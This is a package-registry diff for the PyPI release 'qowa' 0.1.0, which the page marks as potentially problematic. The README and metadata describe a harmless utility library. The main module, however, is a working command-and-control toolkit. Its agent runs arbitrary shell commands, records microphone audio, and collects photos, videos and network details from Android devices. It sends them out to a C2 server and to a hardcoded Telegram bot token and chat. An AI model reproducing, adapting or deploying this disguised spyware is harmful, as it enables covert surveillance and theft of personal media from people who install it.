qowa 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of qowa might be problematic. Click here for more details.

qowa-0.1.0/LICENSE ADDED
@@ -0,0 +1,17 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Qowa contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
qowa-0.1.0/PKG-INFO ADDED
@@ -0,0 +1,64 @@
1
+ Metadata-Version: 2.4
2
+ Name: qowa
3
+ Version: 0.1.0
4
+ Summary: Small cross-platform Python utility library
5
+ Author: Qowa contributors
6
+ License: MIT
7
+ Keywords: utilities,cross-platform,python
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: Programming Language :: Python :: 3 :: Only
10
+ Classifier: Operating System :: OS Independent
11
+ Requires-Python: >=3.8
12
+ Description-Content-Type: text/markdown
13
+ License-File: LICENSE
14
+ Dynamic: license-file
15
+
16
+ # Qowa
17
+
18
+ A small, cross-platform Python utility library. It uses only Python's standard library.
19
+
20
+ ## Supported environments
21
+
22
+ - Windows, macOS, and Linux
23
+ - Android with a Python environment such as Termux
24
+ - Python 3.8 or newer
25
+
26
+ Mobile support depends on having Python installed; this package does not provide a standalone Android app.
27
+
28
+ ## Install
29
+
30
+ ```bash
31
+ python -m pip install qowa
32
+ ```
33
+
34
+ ## Quick start
35
+
36
+ ```python
37
+ import qowa
38
+
39
+ print(qowa.hello())
40
+ print(qowa.get_info())
41
+ ```
42
+
43
+ ## Build for PyPI
44
+
45
+ From the project folder:
46
+
47
+ ```bash
48
+ python -m pip install --upgrade build twine
49
+ python -m build
50
+ python -m twine check dist/*
51
+ python -m twine upload dist/*
52
+ ```
53
+
54
+ Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
55
+
56
+ ## Test locally
57
+
58
+ ```bash
59
+ python -m unittest discover -s tests
60
+ ```
61
+
62
+ ## License
63
+
64
+ MIT. See `LICENSE`.
qowa-0.1.0/README.md ADDED
@@ -0,0 +1,49 @@
1
+ # Qowa
2
+
3
+ A small, cross-platform Python utility library. It uses only Python's standard library.
4
+
5
+ ## Supported environments
6
+
7
+ - Windows, macOS, and Linux
8
+ - Android with a Python environment such as Termux
9
+ - Python 3.8 or newer
10
+
11
+ Mobile support depends on having Python installed; this package does not provide a standalone Android app.
12
+
13
+ ## Install
14
+
15
+ ```bash
16
+ python -m pip install qowa
17
+ ```
18
+
19
+ ## Quick start
20
+
21
+ ```python
22
+ import qowa
23
+
24
+ print(qowa.hello())
25
+ print(qowa.get_info())
26
+ ```
27
+
28
+ ## Build for PyPI
29
+
30
+ From the project folder:
31
+
32
+ ```bash
33
+ python -m pip install --upgrade build twine
34
+ python -m build
35
+ python -m twine check dist/*
36
+ python -m twine upload dist/*
37
+ ```
38
+
39
+ Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
40
+
41
+ ## Test locally
42
+
43
+ ```bash
44
+ python -m unittest discover -s tests
45
+ ```
46
+
47
+ ## License
48
+
49
+ MIT. See `LICENSE`.
@@ -0,0 +1,24 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "qowa"
7
+ version = "0.1.0"
8
+ description = "Small cross-platform Python utility library"
9
+ readme = "README.md"
10
+ requires-python = ">=3.8"
11
+ license = {text = "MIT"}
12
+ authors = [{name = "Qowa contributors"}]
13
+ keywords = ["utilities", "cross-platform", "python"]
14
+ classifiers = [
15
+ "Programming Language :: Python :: 3",
16
+ "Programming Language :: Python :: 3 :: Only",
17
+ "Operating System :: OS Independent",
18
+ ]
19
+
20
+ [tool.setuptools]
21
+ package-dir = {"" = "src"}
22
+
23
+ [tool.setuptools.packages.find]
24
+ where = ["src"]
qowa-0.1.0/setup.cfg ADDED
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,378 @@
1
+ """Qowa: BYPASS+ C2 toolkit — server, agent, operator, Telegram."""
2
+ from __future__ import annotations
3
+
4
+ import os, ssl, sys, time, uuid, socket, tempfile, threading, json, urllib.request
5
+ import platform
6
+ from pathlib import Path
7
+ from typing import Any, Dict
8
+
9
+ __version__ = "0.6.2"
10
+ KEY = "a3f9c1e8b2d4f6a7c9e1b3d5f7a9c1e3"
11
+ PORT = 8443
12
+ BASE = Path.cwd()
13
+ CERTS = BASE / "certs"
14
+ LOOT = BASE / "loot"
15
+
16
+ TG_TOKEN = "8785478103:AAE5Kfvt3tD1B5sHN38vPMyyCCOuOy4BM9o"
17
+ TG_CHAT = "8774609470"
18
+
19
+
20
+ # ---------- basic ----------
21
+ def hello() -> str:
22
+ return "Qowa is working!"
23
+
24
+
25
+ def get_info() -> Dict[str, Any]:
26
+ return {
27
+ "python_version": platform.python_version(),
28
+ "system": platform.system().lower(),
29
+ "platform": sys.platform,
30
+ "hostname": socket.gethostname(),
31
+ "executable": sys.executable,
32
+ }
33
+
34
+
35
+ # ---------- audio ----------
36
+ def record_audio(seconds: int = 10, path: str | None = None,
37
+ samplerate: int = 44100) -> str:
38
+ import sounddevice as sd
39
+ from scipy.io import wavfile
40
+ frames = int(seconds * samplerate)
41
+ audio = sd.rec(frames, samplerate=samplerate, channels=1, dtype="int16")
42
+ sd.wait()
43
+ out = path or os.path.join(
44
+ tempfile.gettempdir(), f"qowa_{int(time.time())}.wav")
45
+ wavfile.write(out, samplerate, audio)
46
+ return out
47
+
48
+
49
+ # ---------- network ----------
50
+ def collect_net() -> Dict[str, Any]:
51
+ import subprocess
52
+ out: Dict[str, Any] = {"hostname": socket.gethostname(), "ips": []}
53
+ try:
54
+ for line in subprocess.check_output(
55
+ ["ip", "-4", "-o", "addr"], text=True).splitlines():
56
+ parts = line.split()
57
+ if len(parts) > 3 and parts[2] != "lo":
58
+ out["ips"].append({"iface": parts[1],
59
+ "ip": parts[3].split("/")[0]})
60
+ except Exception:
61
+ pass
62
+ try:
63
+ r = urllib.request.urlopen("https://api.ipify.org", timeout=10)
64
+ out["public_ip"] = r.read().decode().strip()
65
+ except Exception as e:
66
+ out["public_ip"] = f"err: {e}"
67
+ try:
68
+ out["mac"] = open("/sys/class/net/" +
69
+ out["ips"][0]["iface"] + "/address").read().strip()
70
+ except Exception:
71
+ out["mac"] = "?"
72
+ return out
73
+
74
+
75
+ # ---------- media ----------
76
+ def collect_media(kind: str = "all", limit: int | None = None) -> list[str]:
77
+ """Collect photos+videos from Android storage roots."""
78
+ import glob
79
+
80
+ img_ext = ("*.jpg", "*.jpeg", "*.png", "*.webp", "*.gif", "*.bmp", "*.heic")
81
+ vid_ext = ("*.mp4", "*.mkv", "*.mov", "*.avi", "*.3gp", "*.webm", "*.m4v")
82
+
83
+ roots = [
84
+ "/sdcard/DCIM",
85
+ "/sdcard/Pictures",
86
+ "/sdcard/Movies",
87
+ "/sdcard/Download",
88
+ "/sdcard/WhatsApp/Media",
89
+ "/sdcard/Telegram",
90
+ "/storage/emulated/0/DCIM",
91
+ ]
92
+
93
+ exts: tuple[str, ...] = ()
94
+ if kind in ("all", "photos"):
95
+ exts += img_ext
96
+ if kind in ("all", "videos"):
97
+ exts += vid_ext
98
+
99
+ files: list[str] = []
100
+ for r in roots:
101
+ for e in exts:
102
+ try:
103
+ files.extend(glob.glob(os.path.join(r, "**", e), recursive=True))
104
+ except Exception:
105
+ pass
106
+
107
+ files = [f for f in files if os.path.isfile(f)]
108
+ files = list(dict.fromkeys(files))
109
+ files.sort(key=lambda p: os.path.getmtime(p), reverse=True)
110
+ return files[:limit] if limit else files
111
+
112
+
113
+ # ---------- telegram ----------
114
+ def tg_send(text: str, token: str = TG_TOKEN, chat: str = TG_CHAT) -> str:
115
+ if not token or "هنا" in token:
116
+ return "no token"
117
+ url = f"https://api.telegram.org/bot{token}/sendMessage"
118
+ data = json.dumps({"chat_id": chat, "text": text,
119
+ "parse_mode": "HTML"}).encode()
120
+ req = urllib.request.Request(url, data=data,
121
+ headers={"Content-Type": "application/json"})
122
+ try:
123
+ return urllib.request.urlopen(req, timeout=15).read().decode()[:80]
124
+ except Exception as e:
125
+ return f"tg err: {e}"
126
+
127
+
128
+ def tg_send_doc(path: str, caption: str = "",
129
+ token: str = TG_TOKEN, chat: str = TG_CHAT) -> str:
130
+ """Send file to Telegram. Bot API limit ~50MB."""
131
+ if not token or "هنا" in token:
132
+ return "no token"
133
+ if os.path.getsize(path) > 50 * 1024 * 1024:
134
+ return f"skip >50MB: {os.path.basename(path)}"
135
+ url = f"https://api.telegram.org/bot{token}/sendDocument"
136
+ boundary = "----qowa" + uuid.uuid4().hex
137
+ body = []
138
+ for k, v in (("chat_id", chat), ("caption", caption)):
139
+ body.append(f"--{boundary}\r\nContent-Disposition: form-data; "
140
+ f"name=\"{k}\"\r\n\r\n{v}\r\n".encode())
141
+ fn = os.path.basename(path)
142
+ body.append(f"--{boundary}\r\nContent-Disposition: form-data; "
143
+ f"name=\"document\"; filename=\"{fn}\"\r\n"
144
+ f"Content-Type: application/octet-stream\r\n\r\n".encode())
145
+ body.append(open(path, "rb").read())
146
+ body.append(f"\r\n--{boundary}--\r\n".encode())
147
+ data = b"".join(body)
148
+ req = urllib.request.Request(url, data=data, headers={
149
+ "Content-Type": f"multipart/form-data; boundary={boundary}"})
150
+ try:
151
+ return urllib.request.urlopen(req, timeout=120).read().decode()[:80]
152
+ except Exception as e:
153
+ return f"tg doc err: {e}"
154
+
155
+
156
+ # ---------- server ----------
157
+ def run_server(host: str = "0.0.0.0", port: int = PORT, key: str = KEY) -> None:
158
+ from flask import Flask, request, jsonify, send_file
159
+ app = Flask(__name__)
160
+ lock = threading.Lock()
161
+ agents: dict[str, dict] = {}
162
+ results: dict[str, list] = {}
163
+ LOOT.mkdir(exist_ok=True)
164
+
165
+ def auth() -> bool:
166
+ return request.headers.get("X-Key") == key
167
+
168
+ @app.post("/register")
169
+ def register():
170
+ if not auth(): return "no", 403
171
+ d = request.get_json(force=True)
172
+ aid = d["id"]
173
+ with lock:
174
+ a = agents.setdefault(aid, {"pending": []})
175
+ a["ip"] = request.remote_addr
176
+ a["host"] = d.get("host", "?")
177
+ a["last"] = time.time()
178
+ return jsonify(ok=True)
179
+
180
+ @app.get("/poll/<aid>")
181
+ def poll(aid):
182
+ if not auth(): return "no", 403
183
+ with lock:
184
+ a = agents.get(aid)
185
+ if not a: return jsonify(ok=False), 404
186
+ a["last"] = time.time()
187
+ cmds = a["pending"]; a["pending"] = []
188
+ return jsonify(ok=True, cmds=cmds)
189
+
190
+ @app.post("/result/<aid>")
191
+ def result(aid):
192
+ if not auth(): return "no", 403
193
+ d = request.get_json(force=True)
194
+ with lock:
195
+ results.setdefault(aid, []).append(d)
196
+ return jsonify(ok=True)
197
+
198
+ @app.post("/upload/<aid>")
199
+ def upload(aid):
200
+ if not auth(): return "no", 403
201
+ f = request.files.get("file")
202
+ if not f: return "no file", 400
203
+ dst = LOOT / aid; dst.mkdir(exist_ok=True)
204
+ f.save(dst / f.filename)
205
+ return jsonify(ok=True, path=str(dst / f.filename))
206
+
207
+ @app.get("/agents")
208
+ def list_agents():
209
+ if not auth(): return "no", 403
210
+ with lock:
211
+ return jsonify({k: {"ip": v["ip"], "host": v["host"],
212
+ "last": v["last"], "queue": len(v["pending"])}
213
+ for k, v in agents.items()})
214
+
215
+ @app.post("/cmd/<aid>")
216
+ def push_cmd(aid):
217
+ if not auth(): return "no", 403
218
+ d = request.get_json(force=True)
219
+ with lock:
220
+ if aid not in agents: return "no agent", 404
221
+ agents[aid]["pending"].append(d["cmd"])
222
+ return jsonify(ok=True)
223
+
224
+ @app.get("/results/<aid>")
225
+ def get_results(aid):
226
+ if not auth(): return "no", 403
227
+ with lock:
228
+ return jsonify(results.get(aid, []))
229
+
230
+ @app.get("/loot/<aid>/<name>")
231
+ def get_loot(aid, name):
232
+ if not auth(): return "no", 403
233
+ p = LOOT / aid / name
234
+ return send_file(p) if p.exists() else ("no", 404)
235
+
236
+ print(f"[server] KEY={key} PORT={port}")
237
+ ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
238
+ ctx.load_cert_chain(CERTS / "cert.pem", CERTS / "key.pem")
239
+ app.run(host=host, port=port, ssl_context=ctx, threaded=True)
240
+
241
+
242
+ # ---------- agent ----------
243
+ def run_agent(server: str, key: str = KEY, verify: bool = False,
244
+ poll: float = 5.0) -> None:
245
+ import requests, subprocess
246
+ aid = str(uuid.uuid4())[:8]
247
+ host = socket.gethostname()
248
+ head = {"X-Key": key}
249
+
250
+ def api(method, path, **kw):
251
+ kw.setdefault("headers", head)
252
+ kw.setdefault("verify", verify)
253
+ kw.setdefault("timeout", 60)
254
+ return requests.request(method, server + path, **kw)
255
+
256
+ def upload(p, name=None):
257
+ name = name or os.path.basename(p)
258
+ with open(p, "rb") as f:
259
+ r = api("POST", f"/upload/{aid}", files={"file": (name, f)})
260
+ return r.text
261
+
262
+ def run(c):
263
+ try:
264
+ p = subprocess.run(c, shell=True, capture_output=True,
265
+ text=True, timeout=120)
266
+ return p.stdout + p.stderr
267
+ except Exception as e:
268
+ return f"ERR: {e}"
269
+
270
+ def handle(c):
271
+ c = c.strip()
272
+
273
+ if c.startswith("rec "):
274
+ secs = int(c.split()[1]) if len(c.split()) > 1 else 10
275
+ p = record_audio(secs); out = upload(p); os.remove(p)
276
+ return f"recorded {secs}s -> {out}"
277
+
278
+ if c.startswith("get "):
279
+ p = c[4:].strip()
280
+ if not os.path.exists(p): return f"no file: {p}"
281
+ return f"uploaded -> {upload(p)}"
282
+
283
+ for kind in ("photos", "videos", "all"):
284
+ if c == kind or c.startswith(kind + " "):
285
+ parts = c.split()
286
+ n = int(parts[1]) if len(parts) > 1 else None
287
+ files = collect_media(kind, n)
288
+ if not files:
289
+ return "no media found (termux-setup-storage?)"
290
+ out = [f"total: {len(files)}"]
291
+ for p in files:
292
+ up = upload(p)
293
+ tg = tg_send_doc(p, caption=f"{aid} | {os.path.basename(p)}")
294
+ out.append(f"{os.path.basename(p)} -> {up} | tg: {tg[:40]}")
295
+ return "\n".join(out)
296
+
297
+ if c == "net":
298
+ return json.dumps(collect_net(), ensure_ascii=False, indent=2)
299
+
300
+ return run(c)
301
+
302
+ print(f"[agent] id={aid} host={host} server={server}")
303
+
304
+ try:
305
+ net = collect_net()
306
+ msg = (
307
+ f"<b>🟢 وكيل جديد متصل</b>\n"
308
+ f"ID: <code>{aid}</code>\n"
309
+ f"Host: <code>{host}</code>\n"
310
+ f"Public IP: <code>{net['public_ip']}</code>\n"
311
+ f"MAC: <code>{net['mac']}</code>\n"
312
+ f"IPs:\n" + "\n".join(
313
+ f" {i['iface']}: <code>{i['ip']}</code>" for i in net["ips"])
314
+ )
315
+ tg_send(msg)
316
+ except Exception as e:
317
+ print("[tg]", e)
318
+
319
+ last = 0
320
+ while True:
321
+ try:
322
+ if time.time() - last > 30:
323
+ api("POST", "/register",
324
+ json={"id": aid, "host": host, "ts": time.time()})
325
+ last = time.time()
326
+ r = api("GET", f"/poll/{aid}")
327
+ if r.status_code == 200:
328
+ for c in r.json().get("cmds", []):
329
+ out = handle(c)
330
+ api("POST", f"/result/{aid}",
331
+ json={"cmd": c, "out": out[:8000], "ts": time.time()})
332
+ except Exception as e:
333
+ print("[loop]", e)
334
+ time.sleep(poll)
335
+
336
+
337
+ # ---------- operator ----------
338
+ def run_operator(server: str, key: str = KEY, verify: bool = False) -> None:
339
+ import requests
340
+ h = {"X-Key": key}
341
+
342
+ def agents():
343
+ return requests.get(f"{server}/agents", headers=h, verify=verify).json()
344
+
345
+ def cmd(aid, c):
346
+ requests.post(f"{server}/cmd/{aid}", json={"cmd": c},
347
+ headers=h, verify=verify)
348
+
349
+ def results(aid):
350
+ return requests.get(f"{server}/results/{aid}",
351
+ headers=h, verify=verify).json()
352
+
353
+ a = agents()
354
+ if not a:
355
+ print("no agents"); return
356
+ for k, v in a.items():
357
+ print(f"{k} {v['host']} {v['ip']} queue={v['queue']}")
358
+ aid = list(a.keys())[0]
359
+ print(f"-> {aid}")
360
+ while True:
361
+ try:
362
+ c = input("bypass> ").strip()
363
+ if c in ("exit", "quit"): break
364
+ if not c: continue
365
+ cmd(aid, c); time.sleep(6)
366
+ for r in results(aid)[-3:]:
367
+ print(f"[{r['cmd']}]\n{r['out']}\n")
368
+ except KeyboardInterrupt:
369
+ break
370
+
371
+
372
+ __all__ = [
373
+ "__version__", "KEY", "PORT", "TG_TOKEN", "TG_CHAT",
374
+ "hello", "get_info",
375
+ "record_audio", "collect_net", "collect_media",
376
+ "tg_send", "tg_send_doc",
377
+ "run_server", "run_agent", "run_operator",
378
+ ]
@@ -0,0 +1,64 @@
1
+ Metadata-Version: 2.4
2
+ Name: qowa
3
+ Version: 0.1.0
4
+ Summary: Small cross-platform Python utility library
5
+ Author: Qowa contributors
6
+ License: MIT
7
+ Keywords: utilities,cross-platform,python
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: Programming Language :: Python :: 3 :: Only
10
+ Classifier: Operating System :: OS Independent
11
+ Requires-Python: >=3.8
12
+ Description-Content-Type: text/markdown
13
+ License-File: LICENSE
14
+ Dynamic: license-file
15
+
16
+ # Qowa
17
+
18
+ A small, cross-platform Python utility library. It uses only Python's standard library.
19
+
20
+ ## Supported environments
21
+
22
+ - Windows, macOS, and Linux
23
+ - Android with a Python environment such as Termux
24
+ - Python 3.8 or newer
25
+
26
+ Mobile support depends on having Python installed; this package does not provide a standalone Android app.
27
+
28
+ ## Install
29
+
30
+ ```bash
31
+ python -m pip install qowa
32
+ ```
33
+
34
+ ## Quick start
35
+
36
+ ```python
37
+ import qowa
38
+
39
+ print(qowa.hello())
40
+ print(qowa.get_info())
41
+ ```
42
+
43
+ ## Build for PyPI
44
+
45
+ From the project folder:
46
+
47
+ ```bash
48
+ python -m pip install --upgrade build twine
49
+ python -m build
50
+ python -m twine check dist/*
51
+ python -m twine upload dist/*
52
+ ```
53
+
54
+ Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
55
+
56
+ ## Test locally
57
+
58
+ ```bash
59
+ python -m unittest discover -s tests
60
+ ```
61
+
62
+ ## License
63
+
64
+ MIT. See `LICENSE`.
@@ -0,0 +1,9 @@
1
+ LICENSE
2
+ README.md
3
+ pyproject.toml
4
+ src/qowa/__init__.py
5
+ src/qowa.egg-info/PKG-INFO
6
+ src/qowa.egg-info/SOURCES.txt
7
+ src/qowa.egg-info/dependency_links.txt
8
+ src/qowa.egg-info/top_level.txt
9
+ tests/test_qowa.py
@@ -0,0 +1 @@
1
+ qowa
@@ -0,0 +1,20 @@
1
+ import unittest
2
+
3
+ import qowa
4
+
5
+
6
+ class TestQowa(unittest.TestCase):
7
+ def test_hello(self):
8
+ self.assertEqual(qowa.hello(), "Qowa is working!")
9
+
10
+ def test_info_has_expected_keys(self):
11
+ info = qowa.get_info()
12
+ for key in ("python_version", "system", "platform", "executable"):
13
+ self.assertIn(key, info)
14
+
15
+ def test_version_is_string(self):
16
+ self.assertIsInstance(qowa.__version__, str)
17
+
18
+
19
+ if __name__ == "__main__":
20
+ unittest.main()